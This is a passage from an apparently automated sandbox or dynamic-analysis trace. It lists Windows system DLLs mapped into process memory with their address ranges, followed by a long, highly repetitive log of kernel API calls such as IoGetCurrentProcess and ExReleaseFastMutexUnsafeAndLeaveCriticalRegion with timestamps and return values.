0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 8168 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 8169 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 8170 start_va = 0x5eb0e20000 end_va = 0x5eb1037fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000005eb0e20000" filename = "" Region: id = 8171 start_va = 0x5eb1040000 end_va = 0x5eb1040fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000005eb1040000" filename = "" Region: id = 8190 start_va = 0x5eb1040000 end_va = 0x5eb3ed5fff entry_point = 0x5eb1040000 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\System32\\imageres.dll" (normalized: "c:\\windows\\system32\\imageres.dll") Region: id = 8191 start_va = 0x5eb3ee0000 end_va = 0x5eb3ee2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000005eb3ee0000" filename = "" Region: id = 8192 start_va = 0x5eb3ef0000 end_va = 0x5eb3ef0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000005eb3ef0000" filename = "" Region: id = 8193 start_va = 0x5eb3f00000 end_va = 0x5eb42f9fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000005eb3f00000" filename = "" Region: id = 8194 start_va = 0x5eb4300000 end_va = 0x5eb4343fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000005eb4300000" filename = "" Region: id = 8195 start_va = 0x7ffd1c640000 end_va = 0x7ffd1c65dfff entry_point = 0x7ffd1c6411c8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 8196 start_va = 0x7ffd1c220000 end_va = 0x7ffd1c254fff entry_point = 0x7ffd1c2213d8 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 8197 start_va = 0x7ffd1c870000 end_va = 0x7ffd1c895fff entry_point = 0x7ffd1c875b68 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Thread: id = 774 os_tid = 0x8f0 [0115.568] EngAllocMem () returned 0xfffff90142521030 [0115.568] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.568] MmMapViewOfSection (in: SectionObject=0xffffc00001d942b0, Process=0xffffe0000137f900, BaseAddress=0xfffff90142521358*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0xffffd0002180eed0, ViewSize=0xfffff90142521370, InheritDisposition=0xfffff90100000001, AllocationType=0x0, Protect=0x4 | out: BaseAddress=0xfffff90142521358*=0x5eb0e20000, SectionOffset=0xffffd0002180eed0, ViewSize=0xfffff90142521370) returned 0x0 [0115.568] EngCreateBitmap () returned 0x1205059c [0115.568] EngAssociateSurface () returned 0x1 [0115.568] EngLockSurface () returned 0xfffff901424ed2c8 [0115.568] ExAllocatePoolWithTag (PoolType=0x200, NumberOfBytes=0x38, Tag=0x64646344) returned 0xffffe000012371a0 [0115.568] KeInitializeEvent (in: Event=0xffffe000012371b8, Type=0x1, State=0 | out: Event=0xffffe000012371b8) [0115.569] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.575] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.575] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.575] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0115.584] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.585] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.585] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.588] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.588] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.588] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.588] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.588] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.588] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.588] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.588] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.588] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.588] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.588] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.588] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.588] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.588] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.588] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.603] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.603] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.603] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.603] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.603] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.603] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.603] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.603] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.603] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.603] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.603] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.603] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.603] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.603] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.603] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.604] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.604] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.604] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.604] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.604] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.604] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.604] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.604] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.604] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.604] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.604] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.604] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.604] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.604] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.604] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.604] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.604] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.604] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.605] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.605] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.605] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.605] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.605] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.605] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.605] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.605] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.605] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.605] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.605] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.605] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.606] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.606] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.606] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.606] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.606] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.606] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.606] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.606] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.606] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.606] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.606] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.616] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.616] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.616] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.616] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.616] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.616] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.616] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.616] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.617] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.617] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.617] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.617] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.617] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.617] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.617] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.617] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.617] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.617] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.617] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.619] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.619] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.619] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.620] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.620] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.620] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.620] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.620] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.620] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.621] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.621] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.621] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.621] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.621] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.621] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.621] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.621] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.621] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.621] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.621] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.621] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.621] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.621] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.621] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.628] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.629] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.629] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.629] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.629] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.629] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.629] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.629] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.629] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.629] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.629] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.629] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.629] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.629] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.630] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.630] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.630] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.630] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.630] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.630] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.630] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.630] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.630] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.630] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.630] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.630] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.630] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.630] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.630] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.631] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.631] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.631] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.631] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.631] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.631] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.631] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.631] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.631] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.631] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.631] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.631] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.631] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.631] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.632] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.632] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.632] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.632] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.632] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.632] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.632] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.632] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.632] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.632] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.632] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.632] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.632] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.632] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.632] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.633] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.633] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.633] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.633] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.633] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.633] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.633] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.633] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.633] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.633] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.633] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.633] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.633] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.634] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.634] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.634] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.634] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.634] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.634] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.634] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.634] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.634] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.635] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.635] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.635] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.635] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.635] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.635] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.635] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.635] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.635] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.636] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.636] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.636] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.636] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.636] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.636] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.636] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.636] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.677] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.677] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.677] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.681] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.681] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.681] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.681] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.681] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.681] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.690] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.690] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.690] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.693] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.693] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.693] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.693] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.693] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.693] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.693] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.693] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.693] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.694] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.694] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.694] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.694] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.694] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.694] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.694] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.694] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.694] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.694] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.694] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.694] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.694] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.695] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.695] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.695] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.695] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.695] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.695] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.695] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.695] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.765] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.765] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.765] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.765] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.765] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.765] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.822] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.822] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.822] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.823] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.823] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.823] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.852] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.852] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.852] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.852] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.852] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.852] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.852] IoGetCurrentProcess () returned 0xffffe0000137f900 [0115.852] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.853] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.853] 